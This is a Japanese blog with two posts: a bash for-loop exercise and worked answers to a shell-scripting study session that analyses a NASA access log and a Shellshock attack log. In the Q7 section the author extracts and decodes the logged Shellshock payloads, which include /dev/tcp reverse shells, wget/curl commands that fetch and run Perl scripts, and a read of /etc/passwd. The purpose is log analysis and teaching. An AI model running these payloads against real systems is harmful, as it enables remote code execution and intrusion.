labunix's blog

labunixのラボUnix

bashのfor文で初期値、ループ条件、ループ処理を指定してみる。 

■bashのfor文で初期値、ループ条件、ループ処理を指定してみる。
　以下の続き。

　100までの総和を求める計算回数とシェル芸について
　http://labunix.hateblo.jp/entry/20150417/1429275149

■ガウスの解法とかの公式を使ってはいけない制限です。

　bashとclispとawkで小学三年生レベルの等差数列の総和
　http://d.hatena.ne.jp/labunix/20130114

■更に以下のよくある擬似言語で表現できるように制限すると、
　bashでも「初期値、ループ条件、ループ処理を指定する」で計算回数を1回増やす事ができます。
　※日常書くスクリプトでわざわざそんなことをする人は少ないと思いますが。。。

　・ 0 -> 合計 \
　■　(0 -> 数;数<101;数++;)
　｜　▲  \
　｜　｜ 合計 + 数 -> 合計 \
　｜　▼ 
　■
　・ return 合計

$ total=0; \
  for ((n=0;n<101;n++));do \
    total=$(($total+$n)); \
  done; \
  echo $total
5050

■grepの結果をwcに渡して数えることをしなくても、
　検索結果をカウントする方法でも良い。

$ echo 'total=0;for ((n=1;n<101;n++));do total=$(($total+$n));done' | \
  /bin/bash -x 2>&1 | awk '/ total=/ {sum++};END{print sum}'
101

$ echo 'total=0;for ((n=0;n<101;n++));do total=$(($total+$n));done' | \
  /bin/bash -x 2>&1 | awk '/ total=/ {sum++};END{print sum}'
102

「第16回春だからログ解析するぞシェル芸勉強会」を解いてみた。 

■「第16回春だからログ解析するぞシェル芸勉強会」を解いてみた。

　【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会
　http://blog.ueda.asia/?p=5644

■準備0
　ログをとってきましょう。

■ここでログとは事前に用意されたアクセスログのことです。
　自身の端末のログを取っても仕方がないので、普通に。

$ wget http://blog.ueda.asia/misc/access_log.nasa.gz; \
  wget http://blog.ueda.asia/wp-content/uploads/2015/04/access.log_.shellshock.gz

$ du -k *.gz
4	access.log_.shellshock.gz
36476	access_log.nasa.gz

■準備1
　access.log.shellshock.gzとaccess_log.nasa.gzについて、
　日付と時刻を次のように正規化しておきましょう。

■月名の変換だけ気にすれば良い。

$ zcat access_log.nasa.gz | awk '{print $4}' | \
  awk -F/ '{print $2}' | sort -u
Aug
Jul

$ zcat access.log_.shellshock.gz | awk '{print $4}' | \
  awk -F/ '{print $2}' | sort -u
Dec
Nov
Oct
Sep

$ zcat access_log.nasa.gz | \
  awk '{print $4,$0}' | \
  sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \
      -e 's/Jul/07/' \
      -e 's/Aug/08/' > nasa.access.log

$ zcat access.log_.shellshock.gz | \
  awk '{print $4,$0}' | \
  sed -e 's%^\[\(..\)/\(...\)/\(....\):\(..\):\(..\):\(..\)%\3\2\1 \4\5\6%' \
      -e 's/Oct/10/' \
      -e 's/Nov/11/' \
      -e 's/Dec/12/' > shellshock.access.log

■準備2
　NASAのログを各日付のファイルに分けておきましょう。
　ログはQ1で作ったものを使います。
　1,2行目の8桁日付、6桁時刻は残っていても構いません。

■日付ごとに分けるだけ。

$ awk '{print $0 > "nasa."$1}' nasa.access.log 
$ ls nasa.[0-9]* | column
nasa.19950701	nasa.19950713	nasa.19950725	nasa.19950810	nasa.19950822
nasa.19950702	nasa.19950714	nasa.19950726	nasa.19950811	nasa.19950823
nasa.19950703	nasa.19950715	nasa.19950727	nasa.19950812	nasa.19950824
nasa.19950704	nasa.19950716	nasa.19950728	nasa.19950813	nasa.19950825
nasa.19950705	nasa.19950717	nasa.19950801	nasa.19950814	nasa.19950826
nasa.19950706	nasa.19950718	nasa.19950803	nasa.19950815	nasa.19950827
nasa.19950707	nasa.19950719	nasa.19950804	nasa.19950816	nasa.19950828
nasa.19950708	nasa.19950720	nasa.19950805	nasa.19950817	nasa.19950829
nasa.19950709	nasa.19950721	nasa.19950806	nasa.19950818	nasa.19950830
nasa.19950710	nasa.19950722	nasa.19950807	nasa.19950819	nasa.19950831
nasa.19950711	nasa.19950723	nasa.19950808	nasa.19950820
nasa.19950712	nasa.19950724	nasa.19950809	nasa.19950821

■Q1
　NASAのログについて、ステータスコードを抽出して、
　どのコードがいくつあるか数えてみましょう。

■よくあるステータスコードの集計

$ awk '{print $(NF-1)}' nasa.access.log | sort | uniq -c
3100522 200
  73070 302
 266773 304
     15 400
    225 403
  20901 404
     65 500
     41 501

$ awk '{print $(NF-1)}' nasa.access.log | awk '{a[$1]+=1};END{for (n in a){print n,a[n]}}' | sort -nr -k2
200 3100522
304 266773
302 73070
404 20901
403 225
500 65
501 41
400 15

■Q2
　NASAのログについて、ファイルを開かずに、ログの多い日を探しだしてみましょう。

■ログの多い日
　「サイズを見たら」というのはログサイズの大きい日な気がします。
　リクエストクエリーのサイズによっては若干変わる可能性がありますので、
　行の方がベターかと。

$ wc -l nasa.[0-9]* | sort -k 1 -nr | head -4
  3461612 合計
   134203 nasa.19950713
   100960 nasa.19950706
    94575 nasa.19950705

$ du -k nasa.[0-9]* | sort -k 1 -nr | head -3
16172	nasa.19950713
12292	nasa.19950706
11504	nasa.19950705

■Q3
　NASAのログについて、（Q3-1）ログの件数が一番多い曜日はどれでしょうか。
　（Q3-2）ログの件数が一番多い時間帯
　（時間帯というのは0時台、1時台、・・・、23時台のこと）はどれでしょうか。

　Q3-2については高速な方法を考えてみてください。

■Q3-1

$ awk '{print $1}' nasa.access.log | \
   date -f - "+%A" | sort | uniq -c | sort -k1 -nr
 667737 木曜日
 574547 水曜日
 556590 火曜日
 529960 月曜日
 497456 金曜日
 318046 土曜日
 317276 日曜日

■Q3-2

$ awk '{print substr($2,1,2)}' nasa.access.log  | \
  sort | uniq -c | sort -k1 -nr
 230665 15
 227228 12
 225350 13
 223873 14
 217564 16
 211064 11
 193816 10
 178664 09
 178443 17
 149193 08
 146091 18
 131432 22
 131091 19
 129907 21
 129753 20
 123932 23
 110312 00
 101403 07
  91597 01
  77805 02
  67393 03
  66540 06
  59506 05
  58990 04

■sortをしないと時短出来るの発想は同じです。
　後substrでは無いバージョンです。。。

$ awk '{print $2}' nasa.access.log | cut -c -2 | uniq -c | \
  awk '{a[$2]+=$1};END{for (n in a){print n,a[n]}}'
00 110312
01 91597
02 77805
10 193816
03 67393
11 211064
04 58990
12 227228
05 59506
20 129753
13 225350
06 66540
21 129907
14 223873
07 101403
22 131432
15 230665
08 149193
23 123932
16 217564
09 178664
17 178443
18 146091
19 131091

■Q4
　ShellShockログ内にあるIPアドレス（IPv4）がすべて192.168.から始まることを確認して下さい。
　IPアドレスはレコードの先頭だけでなく、インジェクションするコードの中にもあるのでご注意ねがいます。

$ zcat access.log_.shellshock.gz | \
  sed -e 's/\([0-9]*.[0-9]*\).[0-9]*.[0-9]*/\n\1\n/' | grep ^192.168\$ | uniq -c
    109 192.168

■Q5
　ShellShockログについて、レスポンスのデータ送信量が大きいものを、
　IPアドレスと共に上から10件を挙げてみましょう。

$ zcat access.log_.shellshock.gz | \
  sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \
  sort -k2 -nr | head -10
192.168.64.196 234
192.168.246.56 234
192.168.246.56 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 234
192.168.193.42 233
192.168.193.42 233
192.168.193.42 230

■各IPごとの総データ量は以下。

$ zcat access.log_.shellshock.gz | \
  sed -e 's%^\([0-9]*.[0-9]*.[0-9]*.[0-9]*\).*HTTP/1.1\" [0-9]* \([0-9]*\) .*"%\1 \2%' | \
  awk '{a[$1]+=$2};END{for (n in a){print n,a[n]}}' | sort -k2 -nr
192.168.193.42 13924
192.168.58.180 2468
192.168.218.214 1346
192.168.246.56 468
192.168.64.196 234
192.168.225.64 227
192.168.87.145 208
192.168.177.253 208
192.168.126.87 208
192.168.113.11 208
192.168.98.218 0
192.168.3.135 0
192.168.238.52 0
192.168.192.217 0
192.168.151.207 0
192.168.119.115 0
192.168.0.90 0

■Q6
　NASAのログについて、7月8月のうち、ゼロ件の日を列挙してみてください。

$ for n in `seq -w 0701 0731` `seq -w 0801 0831`;do \
    ls nasa.1995$n 2>/dev/null | grep $n >/dev/null 2>&1 || echo "1995$n"; \
  done
19950729
19950730
19950731
19950802

■Q7
　ShellShockのログから、（Q7-1）インジェクションが試みられたコード（「() { :;};」から後ろ）を抽出してみて傾向を話あってみましょう。
　（Q7-2）出来る人はエスケープも掃除してコードを復元してみましょう。
　（Q7-3）更にできる人は最後の行のコードを実行してみてください。
　このログはIPアドレスを変換しているので安全ですが、普通のログでやると死にますのでご注意を。

■Q7-1

$ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | sed 's/ -O/\n\t&/'
      1  /bin/bash -c \"cd /tmp;wget 192.168.8.189/use;curl
	 -O 192.168.8.189/use  ; perl /tmp/use;rm -rf /tmp/use\""
      1  /bin/bash -c \"cd /tmp;wget http://192.168.30.34/lex ; curl
	 -O http://192.168.30.34/lex ; perl lex ;rm -rf lex\""
      1  /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
      1  /bin/bash -c \"wget http://192.168.105.197/bash-count.txt\""
     16  /bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1"
      1  /bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1"
      1  /usr/bin/wget http://192.168.63.155/res.html
	 -O /dev/null; /usr/bin/curl http://192.168.63.155/res.html"
      6  echo Content-Type: text/plain ; echo \"TEST: TEST\""
      1  echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
      1  echo Content-type:text/plain;echo;echo vulnerable"
      1 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -q http://192.168.63.71/android.txt
	 -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*\");'"
     62 /usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://192.168.144.163/guide/lx.pl
	 -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*\");'"

■Q7-2

$ zcat access.log_.shellshock.gz | grep ":.*;};" | sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \
  cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g
 /bin/bash -c "cd /tmp;wget 192.168.8.189/use;curl
	 -O 192.168.8.189/use  ; perl /tmp/use;rm -rf /tmp/use'
 /bin/bash -c "cd /tmp;wget http://192.168.30.34/lex ; curl
	 -O http://192.168.30.34/lex ; perl lex ;rm -rf lex'
 /bin/bash -c "echo testing9123123"; /bin/uname -a"
 /bin/bash -c "wget http://192.168.105.197/bash-count.txt'
 /bin/bash -i >& /dev/tcp/192.168.0.18/8888 0>&1"
 /bin/bash -i >& /dev/tcp/192.168.10.1/8888 0>&1"
 /usr/bin/wget http://192.168.63.155/res.html
	 -O /dev/null; /usr/bin/curl http://192.168.63.155/res.html"
 echo Content-Type: text/plain ; echo "TEST: TEST'
 echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
 echo Content-type:text/plain;echo;echo vulnerable"
/usr/bin/perl -e 'print "Content-Type: text/plain
		XSUCCESS!";system("wget -q http://192.168.63.71/android.txt
	 -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
/usr/bin/perl -e 'print "Content-Type: text/plain
		XSUCCESS!";system("wget http://192.168.144.163/guide/lx.pl
	 -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*");'

■Q7-3はやりません。

$ zcat access.log_.shellshock.gz | grep ":.*;};" | tail -1 | \
  sed -e 's%^.*:;};\|^.*()\|{ ignored;};%%g' | sort | uniq -c | \
  cut -c 9- | tr -d '\\' | sed -e 's/rnrn/\n\t\t/g' -e 's/ -O/\n\t&/' | sed s/[\'\"]\"/\'/g
/usr/bin/perl -e 'print "Content-Type: text/plain
		XSUCCESS!";system("wget -q http://192.168.63.71/android.txt
	 -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'